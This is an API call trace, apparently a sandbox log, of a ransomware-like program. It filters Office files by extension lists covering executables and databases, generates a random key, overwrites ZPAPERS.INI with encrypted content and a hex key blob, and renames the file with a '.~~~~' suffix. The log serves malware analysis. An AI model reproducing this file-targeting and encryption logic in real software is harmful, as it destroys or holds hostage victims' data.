	[0142.211] GetLastError () returned 0x0
	[0142.211] RtlWakeConditionVariable () returned 0x0
	[0142.211] GetCurrentThreadId () returned 0x9cc
	[0142.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".scr") returned 0x0
	[0142.211] lstrlenW (lpString=".cmd") returned 4
	[0142.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".cmd") returned 0x0
	[0142.211] lstrlenW (lpString=".dll") returned 4
	[0142.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".dll") returned 0x0
	[0142.211] lstrlenW (lpString=".bat") returned 4
	[0142.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".bat") returned 0x0
	[0142.211] lstrlenW (lpString=".cpl") returned 4
	[0142.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".cpl") returned 0x0
	[0142.211] lstrlenW (lpString=".sys") returned 4
	[0142.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".sys") returned 0x0
	[0142.212] lstrlenW (lpString=".msc") returned 4
	[0142.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".msc") returned 0x0
	[0142.212] lstrlenW (lpString=".com") returned 4
	[0142.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".com") returned 0x0
	[0142.212] lstrlenW (lpString=".lnk") returned 4
	[0142.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".lnk") returned 0x0
	[0142.212] lstrlenW (lpString=".msp") returned 4
	[0142.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".msp") returned 0x0
	[0142.212] lstrlenW (lpString=".pif") returned 4
	[0142.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".pif") returned 0x0
	[0142.212] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch="msp\r\n.pif") returned 0x0
	[0142.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpapers.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.214] lstrlenW (lpString=".sqb") returned 4
	[0142.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".sqb") returned 0x0
	[0142.214] lstrlenW (lpString=".ost") returned 4
	[0142.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".ost") returned 0x0
	[0142.214] lstrlenW (lpString=".txt") returned 4
	[0142.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".txt") returned 0x0
	[0142.214] lstrlenW (lpString=".mdt") returned 4
	[0142.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".mdt") returned 0x0
	[0142.214] lstrlenW (lpString=".BDB") returned 4
	[0142.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".BDB") returned 0x0
	[0142.214] lstrlenW (lpString=".eql") returned 4
	[0142.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".eql") returned 0x0
	[0142.215] lstrlenW (lpString=".DBF") returned 4
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".DBF") returned 0x0
	[0142.215] lstrlenW (lpString=".EQL") returned 4
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".EQL") returned 0x0
	[0142.215] lstrlenW (lpString=".FDB") returned 4
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".FDB") returned 0x0
	[0142.215] lstrlenW (lpString=".EDB") returned 4
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".EDB") returned 0x0
	[0142.215] lstrlenW (lpString=".DACPAC") returned 7
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".DACPAC") returned 0x0
	[0142.215] lstrlenW (lpString=".VHD") returned 4
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".VHD") returned 0x0
	[0142.215] lstrlenW (lpString=".DBV") returned 4
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".DBV") returned 0x0
	[0142.215] lstrlenW (lpString=".dacpac") returned 7
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".dacpac") returned 0x0
	[0142.215] lstrlenW (lpString=".sdf") returned 4
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".sdf") returned 0x0
	[0142.215] lstrlenW (lpString=".accdb") returned 6
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".accdb") returned 0x0
	[0142.215] lstrlenW (lpString=".DBX") returned 4
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".DBX") returned 0x0
	[0142.215] lstrlenW (lpString=".MDT") returned 4
	[0142.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".MDT") returned 0x0
	[0142.215] lstrlenW (lpString=".SQB") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".SQB") returned 0x0
	[0142.216] lstrlenW (lpString=".vhd") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".vhd") returned 0x0
	[0142.216] lstrlenW (lpString=".bac") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".bac") returned 0x0
	[0142.216] lstrlenW (lpString=".mdf") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".mdf") returned 0x0
	[0142.216] lstrlenW (lpString=".BAK") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".BAK") returned 0x0
	[0142.216] lstrlenW (lpString=".BAC") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".BAC") returned 0x0
	[0142.216] lstrlenW (lpString=".dbs") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".dbs") returned 0x0
	[0142.216] lstrlenW (lpString=".vhdx") returned 5
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".vhdx") returned 0x0
	[0142.216] lstrlenW (lpString=".NDF") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".NDF") returned 0x0
	[0142.216] lstrlenW (lpString=".dat") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".dat") returned 0x0
	[0142.216] lstrlenW (lpString=".DBS") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".DBS") returned 0x0
	[0142.216] lstrlenW (lpString=".CKP") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".CKP") returned 0x0
	[0142.216] lstrlenW (lpString=".edb") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".edb") returned 0x0
	[0142.216] lstrlenW (lpString=".PST") returned 4
	[0142.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".PST") returned 0x0
	[0142.217] lstrlenW (lpString=".dbf") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".dbf") returned 0x0
	[0142.217] lstrlenW (lpString=".SQL") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".SQL") returned 0x0
	[0142.217] lstrlenW (lpString=".pst") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".pst") returned 0x0
	[0142.217] lstrlenW (lpString=".dbv") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".dbv") returned 0x0
	[0142.217] lstrlenW (lpString=".SDF") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".SDF") returned 0x0
	[0142.217] lstrlenW (lpString=".dtxs") returned 5
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".dtxs") returned 0x0
	[0142.217] lstrlenW (lpString=".db3") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".db3") returned 0x0
	[0142.217] lstrlenW (lpString=".OST") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".OST") returned 0x0
	[0142.217] lstrlenW (lpString=".dbx") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".dbx") returned 0x0
	[0142.217] lstrlenW (lpString=".DB3") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".DB3") returned 0x0
	[0142.217] lstrlenW (lpString=".DAT") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".DAT") returned 0x0
	[0142.217] lstrlenW (lpString=".VHDX") returned 5
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".VHDX") returned 0x0
	[0142.217] lstrlenW (lpString=".ndf") returned 4
	[0142.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".ndf") returned 0x0
	[0142.218] lstrlenW (lpString=".DB") returned 3
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".DB") returned 0x0
	[0142.218] lstrlenW (lpString=".sql") returned 4
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".sql") returned 0x0
	[0142.218] lstrlenW (lpString=".MYD") returned 4
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".MYD") returned 0x0
	[0142.218] lstrlenW (lpString=".DBT") returned 4
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".DBT") returned 0x0
	[0142.218] lstrlenW (lpString=".ACCDB") returned 6
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".ACCDB") returned 0x0
	[0142.218] lstrlenW (lpString=".fdb") returned 4
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".fdb") returned 0x0
	[0142.218] lstrlenW (lpString=".bak") returned 4
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".bak") returned 0x0
	[0142.218] lstrlenW (lpString=".myd") returned 4
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".myd") returned 0x0
	[0142.218] lstrlenW (lpString=".DTXS") returned 5
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".DTXS") returned 0x0
	[0142.218] lstrlenW (lpString=".ckp") returned 4
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".ckp") returned 0x0
	[0142.218] lstrlenW (lpString=".dbt") returned 4
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".dbt") returned 0x0
	[0142.218] lstrlenW (lpString=".db") returned 3
	[0142.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".db") returned 0x0
	[0142.218] lstrlenW (lpString=".TXT") returned 4
	[0142.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".TXT") returned 0x0
	[0142.219] lstrlenW (lpString=".MDF") returned 4
	[0142.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".MDF") returned 0x0
	[0142.219] lstrlenW (lpString=".bdb") returned 4
	[0142.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".bdb") returned 0x0
	[0142.219] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.219] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.220] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.220] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.220] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26221060361) returned 1
	[0142.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe2db2d0, dwHighDateTime=0x1d60e1e)) 
	[0142.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa7e8
	[0142.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa7e8 | out: hHeap=0x300000) returned 1
	[0142.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9210
	[0142.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b9a8
	[0142.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9210 | out: hHeap=0x300000) returned 1
	[0142.221] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.222] GetLastError () returned 0x0
	[0142.222] GetLastError () returned 0x0
	[0142.222] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.222] GetLastError () returned 0x0
	[0142.222] GetLastError () returned 0x0
	[0142.222] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x189e, lpOverlapped=0x0) returned 1
	[0142.225] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe762, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.225] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x189e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x189e, lpOverlapped=0x0) returned 1
	[0142.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.225] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.225] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.225] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.225] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.225] CloseHandle (hObject=0x114) returned 1
	[0142.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9210
	[0142.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpapers.ini"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpapers.ini.~~~~")) returned 1
	[0142.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9210 | out: hHeap=0x300000) returned 1
	[0142.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.229] GetLastError () returned 0x0
	[0142.229] RtlWakeConditionVariable () returned 0x0
	[0142.229] GetCurrentThreadId () returned 0x9cc
	[0142.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".scr") returned 0x0
	[0142.229] lstrlenW (lpString=".cmd") returned 4
	[0142.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".cmd") returned 0x0
	[0142.229] lstrlenW (lpString=".dll") returned 4
	[0142.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".dll") returned 0x0
	[0142.229] lstrlenW (lpString=".bat") returned 4
	[0142.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".bat") returned 0x0
	[0142.229] lstrlenW (lpString=".cpl") returned 4
	[0142.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".cpl") returned 0x0
	[0142.229] lstrlenW (lpString=".sys") returned 4
	[0142.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".sys") returned 0x0
	[0142.229] lstrlenW (lpString=".msc") returned 4
	[0142.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".msc") returned 0x0
	[0142.229] lstrlenW (lpString=".com") returned 4
	[0142.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".com") returned 0x0
	[0142.230] lstrlenW (lpString=".lnk") returned 4
	[0142.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".lnk") returned 0x0
	[0142.230] lstrlenW (lpString=".msp") returned 4
	[0142.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".msp") returned 0x0
	[0142.230] lstrlenW (lpString=".pif") returned 4
	[0142.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".pif") returned 0x0
	[0142.230] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.232] lstrlenW (lpString=".sqb") returned 4
	[0142.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".sqb") returned 0x0
	[0142.232] lstrlenW (lpString=".ost") returned 4
	[0142.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".ost") returned 0x0
	[0142.232] lstrlenW (lpString=".txt") returned 4
	[0142.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".txt") returned 0x0
	[0142.232] lstrlenW (lpString=".mdt") returned 4
	[0142.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".mdt") returned 0x0
	[0142.232] lstrlenW (lpString=".BDB") returned 4
	[0142.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".BDB") returned 0x0
	[0142.232] lstrlenW (lpString=".eql") returned 4
	[0142.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".eql") returned 0x0
	[0142.232] lstrlenW (lpString=".DBF") returned 4
